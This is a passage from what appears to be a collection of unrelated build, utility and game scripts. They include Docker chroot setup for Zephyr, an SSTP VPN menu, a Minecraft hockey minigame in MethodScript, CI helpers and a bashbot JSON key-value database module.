debians inside it\" ${container_id} ${image_to}\n}\n\n\n### Run: Install base image for each architecture and setup chroots\nif [[ \"$@\" == *\"--setup_foreigns\"* ]]; then\n # Run the base image, with this directory bind-mounted inside, then run script.\n # The script setup_foreigns.sh will install the foreign userlands etc\n sudo docker run \\\n ${DOCKER_RUN_OPTS} \\\n ${IMAGE_V0} \\\n bash -x /this_dir/inside_docker/setup_foreigns.sh\n\n docker_commit ${IMAGE_V0} ${IMAGE_V1}\nfi\n\n\n### Run: Under every architecture's chroot, install some packages\nif [[ \"$@\" == *\"--setup_chroots\"* ]]; then\n sudo docker run \\\n ${DOCKER_RUN_OPTS} \\\n ${IMAGE_V1} \\\n bash -x /this_dir/inside_docker/for_each_arch.sh bash -x /docker_root/this_dir/inside_docker/inside_chroots/setup_chroot.sh\n\n # TODO: Test if setup_chroot executed correctly\n\n docker_commit ${IMAGE_V1} ${IMAGE_V2}\nfi\n\n\n### Push the clean image\nif [[ \"$@\" == *\"--push\"* ]]; then\n # Then push\n sudo docker tag ${IMAGE_V2} ${DOCKER_ID_USER:-mpedoticon}/${IMAGE_V2}\n sudo docker push ${DOCKER_ID_USER:-mpedoticon}/${IMAGE_V2}\nfi\n\n\n### Run: Under every architecture's chroot, fetch zephyr\nif [[ \"$@\" == *\"--fetch_all\"* ]]; then\n sudo docker run \\\n ${DOCKER_RUN_OPTS} \\\n ${IMAGE_V2} \\\n bash -x /this_dir/inside_docker/for_each_arch.sh bash -x /docker_root/this_dir/inside_docker/inside_chroots/zephyr.sh fetch_all\n\n # TODO: Test if payload executed correctly\n\n docker_commit ${IMAGE_V2} ${IMAGE_V3}\nfi\n\n### Run: Under every architecture's chroot, build zephyr\nif [[ \"$@\" == *\"--build_all\"* ]]; then\n sudo docker run \\\n ${DOCKER_RUN_OPTS} \\\n ${IMAGE_V3} \\\n bash -x /this_dir/inside_docker/for_each_arch.sh bash -x /docker_root/this_dir/inside_docker/inside_chroots/zephyr.sh build_all\n\n # TODO: Test if payload executed correctly\n\n docker_commit ${IMAGE_V3} ${IMAGE_V4}\nfi\n\n\n### Run: Let user play around in the last image\nif [[ \"$@\" == *\"--interactive\"* ]]; then\n sudo docker run \\\n ${DOCKER_RUN_OPTS} \\\n ${IMAGE_V4} \\\n bash\nfi"} {"text": "#!/usr/bin/env bash\n\n./tests/bootstrap-examples/empty.sh major-version-up && \\\n(\n cd sandbox/major-version-up && \\\n git add . && git commit -m \"initial commit\" && \\\n git tag v0.0.1 && \\\n touch a && \\\n git add a && git commit -m \"feat: add a\" -m \"BREAKING CHANGE: this breaks the previous behavior.\"\n)"} {"text": "0\n#!/bin/bash\nclear\necho -e \"════════════════════════════════════════════════════════════\n= Script Vps For Debian N Ubuntu \"\necho -e \"\"\necho -e \"\\e[94m .----------------------------------------------------. \"\necho -e \"\\e[94m | SSTP MENU | \"\necho -e \"\\e[94m '----------------------------------------------------' \"\necho -e \"\\e[0m \"\necho -e \"\\e[1;31m* [1]\\e[0m \\e[1;32m: Create Account SSTP\\e[0m\\e[0m\"\necho -e \"\\e[1;31m* [2]\\e[0m \\e[1;32m: Delete SSTP Account\\e[0m\\e[0m\"\necho -e \"\\e[1;31m* [3]\\e[0m \\e[1;32m: Extending SSTP Account Active Life\\e[0m\"\necho -e \"\\e[1;31m* [4]\\e[0m \\e[1;32m: Check User Login SSTP\\e[0m\"\necho -e \"\"\necho -e \"\"\nread -p \" Select From Options [1-4 or x]: \" menusstp\necho -e \"\"\ncase $menusstp in\n1)\nadd-sstp\n;;\n2)\ndel-sstp\n;;\n3)\nrenew-sstp\n;;\n4)\ncek-sstp\n;;\nx)\nmenu\n;;\n*)\necho \" Please enter an correct number!!\"\n;;\nesac"} {"text": "vladfr/gosaasclient/proto.sh0\n#!/bin/bash\n\nOUT_DIR=src/proto/\n\nprotoc \\\n --js_out=import_style=commonjs,binary:$OUT_DIR \\\n --grpc-web_out=import_style=typescript,mode=grpcwebtext:$OUT_DIR \\\n -I ../server ../server/*/*.proto"} {"text": "\nregister_command('hockey', array(\n\t'description': 'Starts a hockey game.',\n\t'usage': '/hockey',\n\t'tabcompleter': closure(@alias, @sender, @args, @info) {\n\t\treturn(array());\n\t},\n\t'executor': closure(@alias, @sender, @args, @info) {\n\t\tif(array_contains(get_scoreboards(), 'hockey')) {\n\t\t\tdie(color('gold').'Hockey already running.');\n\t\t}\n\n\t\t@players = array();\n\t\tforeach(@p in all_players(pworld())) {\n\t\t\tif(array_contains(sk_current_regions(@p), 'hockey')) {\n\t\t\t\t@players[] = @p;\n\t\t\t}\n\t\t}\n\t\tif(array_size(@players) < 1) {\n\t\t\tdie(color('gold').'Not enough players.');\n\t\t} else if(array_size(@players) % 2 == 1) {\n\t\t\t//die('Teams are not even.');\n\t\t}\n\n\t\tproc _queue_game(@players) {\n\t\t\t_add_activity('hockey', 'Ice Hockey');\n\t\t\t@red = associative_array('name': 'RED_STAINED_GLASS_PANE');\n\t\t\t@blue = associative_array('name': 'BLUE_STAINED_GLASS_PANE');\n\t\t\t@hockey = associative_array(\n\t\t\t\t'players': @players,\n\t\t\t\t'puck': '',\n\t\t\t\t'velocity': associative_array(),\n\t\t\t\t'holder': '',\n\t\t\t\t'distance': 0,\n\t\t\t\t'last': '',\n\t\t\t\t'seconds': 180,\n\t\t\t\t'red': '',\n\t\t\t\t'blue': '',\n\t\t\t\t'loc': associative_array(),\n\t\t\t\t'lastloc': associative_array(),\n\t\t\t\t'redgear': associative_array(\n\t\t\t\t\t4: @red, 5: @red, 6: @red, 7: @red, 8: @red,\n\t\t\t\t\t100: associative_array('name': 'LEATHER_BOOTS', 'meta': associative_array('color': array(255, 0, 0))),\n\t\t\t\t\t101: associative_array('name': 'LEATHER_LEGGINGS', 'meta': associative_array('color': array(255, 0, 0))),\n\t\t\t\t\t102: associative_array('name': 'LEATHER_CHESTPLATE', 'meta': associative_array('color': array(255, 0, 0))),\n\t\t\t\t\t103: associative_array('name': 'LEATHER_HELMET', 'meta': associative_array('color':array(255, 0, 0))),\n\t\t\t\t),\n\t\t\t\t'bluegear': associative_array(\n\t\t\t\t\t4: @blue, 5: @blue, 6: @blue, 7: @blue, 8: @blue,\n\t\t\t\t\t100: associative_array('name': 'LEATHER_BOOTS', 'meta': associative_array('color': array(0, 0, 255))),\n\t\t\t\t\t101: associative_array('name': 'LEATHER_LEGGINGS', 'meta': associative_array('color': array(0, 0, 255))),\n\t\t\t\t\t102: associative_array('name': 'LEATHER_CHESTPLATE', 'meta': associative_array('color': array(0, 0, 255))),\n\t\t\t\t\t103: associative_array('name': 'LEATHER_HELMET', 'meta': associative_array('color': array(0, 0, 255))),\n\t\t\t\t),\n\t\t\t\t'width': 'z',\n\t\t\t);\n\t\t\t@hockey['players'] = @players;\n\n\t\t\t// create scoreboard\n\t\t\tcreate_scoreboard('hockey');\n\t\t\tcreate_objective('score', 'dummy', 'hockey');\n\t\t\tset_objective_display('score', associative_array('slot': 'SIDEBAR', 'displayname': color('bold').'Score'), 'hockey');\n\n\t\t\t@hockey['red'] = color('red').array_get_rand(array('StoneRiver Toads', 'Utah Waffles', '', 'Oakdale Furies'));\n\t\t\tcreate_team('red', 'hockey');\n\t\t\tset_team_display('red', array('displayname': @hockey['red'], 'color': 'RED'), 'hockey');\n\t\t\tset_pscore('score', @hockey['red'], 0, 'hockey');\n\n\t\t\t@hockey['blue'] = color('blue').array_get_rand(array('Gothem Knights', 'Stirling Kings', 'PantsCo Pixies', 'Canada Wizards'));\n\t\t\tcreate_team('blue', 'hockey');\n\t\t\tset_team_display('blue', array('displayname': @hockey['blue'], 'color': 'BLUE'), 'hockey');\n\t\t\tset_pscore('score', @hockey['blue'], 0, 'hockey');\n\n\t\t\t@t = 0;\n\t\t\t@world = '';\n\t\t\tforeach(@p in array_rand(@players, array_size(@players), false)) {\n\t\t\t\t@world = pworld(@p);\n\t\t\t\tset_pscoreboard(@p, 'hockey');\n\t\t\t\tif(@t) {\n\t\t\t\t\tteam_add_player('red', @p, 'hockey');\n\t\t\t\t\t@t = 0;\n\t\t\t\t\tset_pinv(@p, @hockey['redgear']);\n\t\t\t\t} else {\n\t\t\t\t\tteam_add_player('blue', @p, 'hockey');\n\t\t\t\t\t@t = 1;\n\t\t\t\t\tset_pinv(@p, @hockey['bluegear']);\n\t\t\t\t}\n\t\t\t\tset_pheld_slot(@p, 0);\n\t\t\t}\n\n\t\t\t// get puck spawn point\n\t\t\t@region = sk_region_info('hockey', @world, 0);\n\t\t\t@hockey['loc'] = associative_array(\n\t\t\t\t'x': (@region[0][0] + @region[1][0]) / 2 + 0.5,\n\t\t\t\t'y': @region[1][1] + 0.078,\n\t\t\t\t'z': (@region[0][2] + @region[1][2]) / 2 + 0.5,\n\t\t\t\t'world': @world\n\t\t\t);\n\t\t\tif(@region[0][0] - @region[1][0] < @region[0][2] - @region[1][2]) {\n\t\t\t\t@hockey['width'] = 'x';\n\t\t\t}\n\n\t\t\t@countdown = array(5);\n\t\t\tset_interval(1000, closure(){\n\t\t\t\tplay_sound(@hockey['loc'], associative_array('sound': 'BLOCK_NOTE_BLOCK_PLING', 'volume': 2, 'pitch': @countdown[0]));\n\t\t\t\tif(@countdown[0] > 0) {\n\t\t\t\t\t@countdown[0]--;\n\t\t\t\t} else {\n\t\t\t\t\tclear_task();\n\t\t\t\t\t_start_game(@hockey);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tproc _start_game(@hockey) {\n\t\t\t_place_puck(@hockey);\n\n\t\t\t// bind events\n\t\t\tbind('entity_damage', associative_array('id': 'hockey-damage'), associative_array('id': @hockey['puck']), @event, @hockey) {\n\t\t\t\tif(!array_index_exists(@event, 'damager')) {\n\t\t\t\t\t@hockey['holder'] = '';\n\t\t\t\t\tset_entity_loc(@hockey['puck'], @hockey['lastloc']);\n\t\t\t\t\tdie();\n\t\t\t\t}\n\t\t\t\tcancel();\n\t\t\t\t@xp = 30;\n\t\t\t\tif(@event['damager'] == @hockey['holder']) {\n\t\t\t\t\t@xp = max(1, (pexp(@event['damager']) / 2) ** 1.25);\n\t\t\t\t}\n\t\t\t\t@player = @event['damager'];\n\t\t\t\tplay_sound(entity_loc(@event['id']), array('sound': 'BLOCK_WOODEN_BUTTON_CLICK_ON', 'pitch': 2 - (1.3 / @xp)));\n\t\t\t\t@ploc = entity_loc(puuid(@player));\n\t\t\t\t@eloc = entity_loc(@hockey['puck']);\n\t\t\t\t@dist = distance(@ploc, @eloc);\n\t\t\t\t@x = ((@eloc['x'] - @ploc['x']) / @dist) * (@xp / 50);\n\t\t\t\t@z = ((@eloc['z'] - @ploc['z']) / @dist) * (@xp / 50);\n\t\t\t\t@hockey['velocity'] = array('x': @x, 'y': 0, 'z': @z);\n\t\t\t\tset_entity_velocity(@hockey['puck'], @hockey['velocity']);\n\t\t\t\t@hockey['last'] = @player;\n\t\t\t\t@hockey['holder'] = '';\n\t\t\t}\n\t\t\tbind('player_interact_entity', associative_array('id': 'hockey-interact'), null, @event, @hockey) {\n\t\t\t\tif(@event['id'] != @hockey['puck']) {\n\t\t\t\t\tdie();\n\t\t\t\t}\n\t\t\t\t@ploc = ploc();\n\t\t\t\t@eloc = entity_loc(@hockey['puck']);\n\t\t\t\t@ploc['y'] += 1;\n\t\t\t\t@dist = distance(@ploc, @eloc);\n\t\t\t\tif(@dist < 3.5) {\n\t\t\t\t\t@hockey['holder'] = player();\n\t\t\t\t\t@hockey['last'] = player();\n\t\t\t\t\t@hockey['distance'] = @dist;\n\t\t\t\t\t@hockey['velocity'] = associative_array('x': 0, 'y': 0, 'z': 0);\n\t\t\t\t\t@hockey['lastloc'] = entity_loc(@hockey['puck']);\n\t\t\t\t\tset_pexp(0);\n\t\t\t\t\tplay_sound(@eloc, array('sound': 'BLOCK_WOODEN_BUTTON_CLICK_ON', 'pitch': 0.6));\n\t\t\t\t}\n\t\t\t}\n\t\t\tbind('entity_damage_player', associative_array('id': 'hockey-damage-player'), associative_array('damager': 'PLAYER'), @event, @hockey) {\n\t\t\t\tif(@hockey['holder'] == player()) {\n\t\t\t\t\tset_pexp(@hockey['holder'], 0);\n\t\t\t\t\t@hockey['holder'] = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\tbind('player_quit', associative_array('id': 'hockey-quit'), null, @event, @hockey) {\n\t\t\t\tif(array_contains(@hockey['players'], player())) {\n\t\t\t\t\tarray_remove_values(@hockey['players'], player());\n\t\t\t\t\t@team = get_pteam(player(), 'hockey');\n\t\t\t\t\tteam_remove_player(@team['name'], player(), 'hockey');\n\t\t\t\t\tif(array_size(@team['players']) < 2) {\n\t\t\t\t\t\t_end_game(@hockey);\n\t\t\t\t\t}\n\t\t\t\t\tif(@hockey['holder'] == player()) {\n\t\t\t\t\t\t_place_puck(@hockey);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbind('target_player', associative_array('id': 'hockey-target'), associative_array('mobtype': 'SLIME'), @event, @hockey) {\n\t\t\t\tif(@event['id'] == @hockey['puck']) {\n\t\t\t\t\tmodify_event('player', null);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// core game loop\n\t\t\t@count = array(20);\n\t\t\t@bounciness = 0.85;\n\t\t\t@world = @hockey['loc']['world'];\n\t\t\tset_interval(50, 0, closure(){\n\t\t\t\tif(--@count[0] == 0) {\n\t\t\t\t\t@count[0] = 20;\n\t\t\t\t\t@hockey['seconds']--;\n\t\t\t\t\t@time = simple_date('m:ss', @hockey['seconds'] * 1000);\n\t\t\t\t\tforeach(@p in all_players(@world)) {\n\t\t\t\t\t\tif(array_contains(sk_current_regions(@p), 'hockey')) {\n\t\t\t\t\t\t\tif(!array_contains(@hockey['players'], @p)) {\n\t\t\t\t\t\t\t\t@hockey['players'][] = @p;\n\t\t\t\t\t\t\t\t@teams = get_teams('hockey');\n\t\t\t\t\t\t\t\tif(array_size(@teams['red']['players']) > array_size(@teams['blue']['players'])) {\n\t\t\t\t\t\t\t\t\tteam_add_player('blue', @p, 'hockey');\n\t\t\t\t\t\t\t\t\tset_pinv(@p, @hockey['bluegear']);\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tteam_add_player('red', @p, 'hockey');\n\t\t\t\t\t\t\t\t\tset_pinv(@p, @hockey['redgear']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tset_pheld_slot(@p, 0);\n\t\t\t\t\t\t\t\tset_pscoreboard(@p, 'hockey');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\taction_msg(@p, @time);\n\t\t\t\t\t\t\tset_peffect(@p, 'JUMP_BOOST', -6, 2, false, false);\n\t\t\t\t\t\t} else if(array_contains(@hockey['players'], @p)) {\n\t\t\t\t\t\t\tarray_remove_values(@hockey['players'], @p);\n\t\t\t\t\t\t\t@team = get_pteam(@p, 'hockey');\n\t\t\t\t\t\t\tteam_remove_player(@team['name'], @p, 'hockey');\n\t\t\t\t\t\t\tif(array_size(@team['players']) < 2) {\n\t\t\t\t\t\t\t\t_end_game(@hockey);\n\t\t\t\t\t\t\t\tdie();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(@hockey['seconds'] < 1) {\n\t\t\t\t\t\t_end_game(@hockey);\n\t\t\t\t\t\tdie();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif(!entity_exists(@hockey['puck'])) {\n\t\t\t\t\t_end_game(@hockey);\n\t\t\t\t\tdie();\n\t\t\t\t}\n\n\t\t\t\t@l = entity_loc(@hockey['puck']);\n\t\t\t\t@block = get_block(location_shift(@l, 'down'));\n\n\t\t\t\tif(@block == 'RED_WOOL' || @block == 'BLUE_WOOL') {\n\t\t\t\t\t@team = if(@block == 'BLUE_WOOL', @hockey['red'], @hockey['blue']);\n\t\t\t\t\tset_pscore('score', @team, get_pscore('score', @team, 'hockey') + 1, 'hockey');\n\t\t\t\t\tlaunch_firework(@l, associative_array('strength': 0));\n\t\t\t\t\t_place_puck(@hockey);\n\n\t\t\t\t} else if(@block == 'STONE_SLAB') {\n\t\t\t\t\t@hockey['holder'] = '';\n\t\t\t\t\tset_entity_loc(@hockey['puck'], @hockey['lastloc']);\n\n\t\t\t\t} else if(@hockey['holder'] && (@block == 'ICE' || @block == 'PACKED_ICE')) {\n\t\t\t\t\t@newloc = ploc(@hockey['holder']);\n\t\t\t\t\tif(@newloc['world'] != @world) {\n\t\t\t\t\t\t_place_puck(@hockey);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(@hockey['distance'] > 2.22) {\n\t\t\t\t\t\t\t@hockey['distance'] -= 0.03;\n\t\t\t\t\t\t\tset_pexp(@hockey['holder'], pexp(@hockey['holder']) + 1);\n\t\t\t\t\t\t} else if(@hockey['distance'] < 2.18) {\n\t\t\t\t\t\t\t@hockey['distance'] += 0.03;\n\t\t\t\t\t\t\tset_pexp(@hockey['holder'], pexp(@hockey['holder']) + 1);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tset_pexp(@hockey['holder'], min(99, pexp(@hockey['holder']) + 2));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@vector = get_vector(ploc(@hockey['holder']), @hockey['distance']);\n\t\t\t\t\t\t@newloc['x'] += @vector['x'];\n\t\t\t\t\t\t@newloc['y'] += 1;\n\t\t\t\t\t\t@newloc['z'] += @vector['z'];\n\t\t\t\t\t\tset_entity_loc(@hockey['puck'], @newloc);\n\t\t\t\t\t\t@hockey['lastloc'] = @l;\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tif(!array_contains(sk_regions_at(@l), 'hockey') || @l['y'] > @hockey['loc']['y']) {\n\t\t\t\t\t\t_place_puck(@hockey);\n\t\t\t\t\t\tdie();\n\t\t\t\t\t}\n\n\t\t\t\t\t@v = entity_velocity(@hockey['puck']);\n\t\t\t\t\t@ricochetPitch = 0;\n\n\t\t\t\t\t@forceX = 0;\n\t\t\t\t\tif(@v['x'] == 0) {\n\t\t\t\t\t\t@forceX = abs(@hockey['velocity']['x']);\n\t\t\t\t\t\t@v['magnitude'] = 1;\n\t\t\t\t\t\tif(@forceX > 0.002) {\n\t\t\t\t\t\t\t@v['x'] = 0 - @hockey['velocity']['x'] * @bounciness;\n\t\t\t\t\t\t\tif(@forceX > 0.05) {\n\t\t\t\t\t\t\t\t@ricochetPitch = 1 + @forceX / 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif(@v['z'] == 0) {\n\t\t\t\t\t\t@forceZ = abs(@hockey['velocity']['z']);\n\t\t\t\t\t\t@v['magnitude'] = 1;\n\t\t\t\t\t\tif(@forceZ > 0.002) {\n\t\t\t\t\t\t\t@v['z'] = 0 - @hockey['velocity']['z'] * @bounciness;\n\t\t\t\t\t\t\tif(@forceZ > 0.06 && @forceZ > @forceX) {\n\t\t\t\t\t\t\t\t@ricochetPitch = 1 + @forceZ / 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif(@v['magnitude'] < 0.875 && @v['magnitude'] > 0.125) {\n\t\t\t\t\t\t@v['x'] = (@v['x'] / @v['magnitude']) * (1.08 * @v['magnitude']);\n\t\t\t\t\t\t@v['z'] = (@v['z'] / @v['magnitude']) * (1.08 * @v['magnitude']);\n\t\t\t\t\t}\n\n\t\t\t\t\tif(@ricochetPitch > 1) {\n\t\t\t\t\t\tplay_sound(@l, array('sound': 'BLOCK_WOODEN_BUTTON_CLICK_ON', 'pitch': min(2, @ricochetPitch)));\n\t\t\t\t\t}\n\n\t\t\t\t\t@v['y'] = 0;\n\t\t\t\t\t@hockey['velocity'] = @v;\n\t\t\t\t\tset_entity_velocity(@hockey['puck'], @hockey['velocity']);\n\t\t\t\t}\n\n\t\t\t});\n\t\t}\n\n\t\tproc _place_puck(@hockey){\n\t\t\t@loc = @hockey['loc'][];\n\t\t\t@loc[@hockey['width']] += rand(5) - 2;\n\t\t\tif(!@hockey['puck']) {\n\t\t\t\t@hockey['puck'] = spawn_entity('SLIME', 1, @loc, closure(@e, set_entity_spec(@e, array('size': 1))))[0];\n\t\t\t\tset_timeout(1, closure(){\n\t\t\t\t\tset_mob_effect(@hockey['puck'], 'resistance', 4, 99999, true, false);\n\t\t\t\t\tset_mob_effect(@hockey['puck'], 'levitation', -1, 99999, true, false);\n\t\t\t\t\tset_mob_effect(@hockey['puck'], 'slowness', 10, 99999, true, false);\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tset_entity_loc(@hockey['puck'], @loc);\n\t\t\t}\n\t\t\t@hockey['holder'] = '';\n\t\t\t@hockey['last'] = '';\n\t\t\t@hockey['velocity'] = associative_array('x': 0, 'y': 0, 'z': 0);\n\t\t\tset_entity_velocity(@hockey['puck'], @hockey['velocity']);\n\t\t}\n\n\t\tproc _end_game(@hockey){\n\t\t\tclear_task();\n\t\t\tunbind('hockey-damage');\n\t\t\tunbind('hockey-damage-player');\n\t\t\tunbind('hockey-interact');\n\t\t\tunbind('hockey-quit');\n\t\t\tunbind('hockey-target');\n\t\t\t@winner = null;\n\t\t\t@redscore = get_pscore('score', @hockey['red'], 'hockey');\n\t\t\t@bluescore = get_pscore('score', @hockey['blue'], 'hockey');\n\t\t\t@score = '';\n\t\t\tif(@redscore > @bluescore) {\n\t\t\t\t@winner = 'red';\n\t\t\t\t@score = @redscore.':'.@bluescore;\n\t\t\t} else if(@bluescore > @redscore) {\n\t\t\t\t@winner = 'blue';\n\t\t\t\t@score = @bluescore.':'.@redscore;\n\t\t\t} else {\n\t\t\t\t@score = @redscore.':'.@bluescore;\n\t\t\t}\n\t\t\t@msg = 'Tied game!';\n\t\t\tif(@winner) {\n\t\t\t\t@teams = get_teams('hockey');\n\t\t\t\t@msg = @teams[@winner]['displayname'].' won! '.color('bold').@score;\n\t\t\t}\n\t\t\tbroadcast(@msg, @hockey['players']);\n\t\t\tremove_scoreboard('hockey');\n\t\t\t_remove_activity('hockey');\n\t\t\tentity_remove(@hockey['puck']);\n\t\t}\n\n\t\t_queue_game(@players);\n\t}\n));"} {"text": "#!/bin/bash\n#SBATCH --job-name=hello_world\n#SBATCH --ntasks=4\n#SBATCH --cpus-per-task=1\n#SBATCH --nodes=2\n#SBATCH --ntasks-per-node=2\n#SBATCH --time=00:05:00\n\nexport SCRATCH=/data/scratch/$USER\nmodule load xalt2\n\nsrun --mpi=pmi2 python helloworld.py\n\npython3 /data/relocate_xaltjson.py"} {"text": "0\nnow_md5=$(md5sum < .circleci/config.yml)\n\nset -eu\nset -o pipefail\n\n_basepath=$(eval echo \"${CONFIG_DIR}\")\n_targets=\"${_basepath}/bases|${_basepath}/commands|${_basepath}/jobs|${_basepath}/workflows\"\n\nmkdir ./cmd\nwget https://github.com/suzuki-shunsuke/circleci-config-merge/releases/download/v1.1.1/circleci-config-merge_1.1.1_linux_amd64.tar.gz -O - | tar zxvf - -C ./cmd\n_cmd=\"./cmd/circleci-config-merge\"\nremerge_md5=$(git ls-files | grep -E \"${_targets}\" | xargs \"${_cmd}\" merge | md5sum)\n\necho \"${now_md5}\"\necho \"${remerge_md5}\"\nif [ ! \"${now_md5}\" = \"${remerge_md5}\" ]; then\n echo \"You forgot circleci-config-merge!\"\n exit 1\nfi"} {"text": "oBusk/react-diff-view\nyarn\nyarn clean\nexport NODE_ENV=production\nnode rollup.js\nnode node_modules/.bin/postcss -o style/index.css src/styles/index.css\nsed -i 's/}/;}/g' style/index.css"} {"text": "#!/bin/bash\n# file: modules/jsshDB.sh\n# do not edit, this file will be overwritten on update\n\n# This file is public domain in the USA and all free countries.\n# Elsewhere, consider it to be WTFPLv2. (wtfpl.net/txt/copying)\n#\n#### $$VERSION$$ v0.96-dev-7-g0153928\n#\n# source from commands.sh to use jsonDB functions\n#\n# jsonDB provides simple functions to read and store bash Arrays\n# from to file in JSON.sh output format, its a simple key/value storage.\n\n\n# source once magic, function named like file\neval \"$(basename \"${BASH_SOURCE[0]}\")(){ :; }\"\n\n# new feature: serialize / atomic operations:\n# updates will be done atomic with flock\n# flock should flock should be availible on all system as its part of busybox\n# tinybox\n\n# lockfile filename.flock is persistent and will be testet with flock for active lock (file open)\nexport BASHBOT_LOCKNAME=\".flock\"\n\nif _exists flock; then\n ###############\n # we have flock\n # use flock for atomic operations\n\n # read content of a file in JSON.sh format into given ARRAY\n # $1 ARRAY name, must be delared with \"declare -A ARRAY\" upfront\n # $2 filename, must be relative to BASHBOT_ETC, and not contain '..'\n jssh_readDB() {\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\t# shared lock, many processes can read, max wait 1s\n\t{ flock -s -w 1 200; Json2Array \"$1\" <\"${DB}\"; } 200>\"${DB}${BASHBOT_LOCKNAME}\"\n }\n\n # write ARRAY content to a file in JSON.sh format\n # Warning: old content is overwritten\n # $1 ARRAY name, must be delared with \"declare -A ARRAY\" upfront\n # $2 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n jssh_writeDB() {\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\t# exclusive lock, no other process can read or write, maximum wait to get lock is 10s\n\t{ flock -e -w 10 200; Array2Json \"$1\" >\"${DB}\"; } 200>\"${DB}${BASHBOT_LOCKNAME}\"\n }\n\n # update/write ARRAY content in file without deleting keys not in ARRAY\n # $1 ARRAY name, must be delared with \"declare -A ARRAY\" upfront\n # $2 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n jssh_updateDB() {\n\t# for atomic update we cant use read/writeDB\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\n\tdeclare -n ARRAY=\"$1\"\n\t[ -z \"${ARRAY[*]}\" ] && return 1\n\tdeclare -A oldARR newARR\n\n\t# start atomic update here, exclusive max wait 10s\n\t{ flock -e -w 10 200\n\tJson2Array \"oldARR\" <\"${DB}\"\n\tif [ -z \"${oldARR[*]}\" ]; then\n\t\t# no old content\n\t\tArray2Json \"$1\" >\"${DB}\"\n\telse\n\t\t# merge arrays\n\t\tlocal o1 o2 n1 n2\n\t\to1=\"$(declare -p oldARR)\"; o2=\"${o1#*\\(}\"\n\t\tn1=\"$(declare -p ARRAY)\"; n2=\"${n1#*\\(}\"\n\t\tunset IFS; set -f\n\t\t#shellcheck disable=SC2034,SC2190,SC2206\n\t\tnewARR=( ${o2:0:${#o2}-1} ${n2:0:${#n2}-1} )\n\t\tset +f\n\t\tArray2Json \"newARR\" >\"${DB}\"\n\tfi\n\t} 200>\"${DB}${BASHBOT_LOCKNAME}\"\n }\n\n # insert, update, apped key/value to jsshDB\n # $1 key name, can onyl contain -a-zA-Z0-9,._\n # $2 key value\n # $3 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n jssh_insertDB() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal key=\"$1\" value=\"$2\"\n\tlocal DB; DB=\"$(jssh_checkDB \"$3\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\t# start atomic update here, exclusive max wait 2, it's append, not overwrite\n\t{ flock -e -w 2 200\n\t # it's append, but last one counts, its a simple DB ...\n\t printf '[\"%s\"]\\t\"%s\"\\n' \"${key//,/\\\",\\\"}\" \"${value//\\\"/\\\\\\\"}\" >>\"${DB}\"\n\t} 200>\"${DB}${BASHBOT_LOCKNAME}\"\n\t\n }\n\n # delete key/value from jsshDB\n # $1 key name, can onyl contain -a-zA-Z0-9,._\n # $2 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n jssh_deleteKeyDB() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\tdeclare -A oldARR\n\t# start atomic delete here, exclusive max wait 10s \n\t{ flock -e -w 10 200\n\tJson2Array \"oldARR\" <\"${DB}\"\n\tunset oldARR[\"$1\"]\n\tArray2Json \"oldARR\" >\"${DB}\"\n\t} 200>\"${DB}${BASHBOT_LOCKNAME}\"\n }\n\n # delete key/value from jsshDB\n # $1 key name, can onyl contain -a-zA-Z0-9,._\n # $2 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n jssh_getKeyDB() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\tdeclare -A oldARR\n\t# start atomic delete here, exclusive max wait 1s \n\t{ flock -e -w 1 200\n\tJson2Array \"oldARR\" <\"${DB}\"\n\t} 200>\"${DB}${BASHBOT_LOCKNAME}\"\n\techo \"${oldARR[\"$1\"]}\"\n }\n\n\n # add a value to key, used for conters\n # $1 key name, can onyl contain -a-zA-Z0-9,._\n # $2 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n # $3 optional count, value added to count3r, add 1 if empty \n # side effect: if $3 is not given, we add to end of file to be as fast as possible\n jssh_countKeyDB() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\tdeclare -A oldARR\n\t# start atomic delete here, exclusive max wait 5 \n\t{ flock -e -w 5 200\n\tJson2Array \"oldARR\" <\"${DB}\"\n\tif [ \"$3\" != \"\" ]; then\n\t\t(( oldARR[\"$1\"]+=\"$3\" 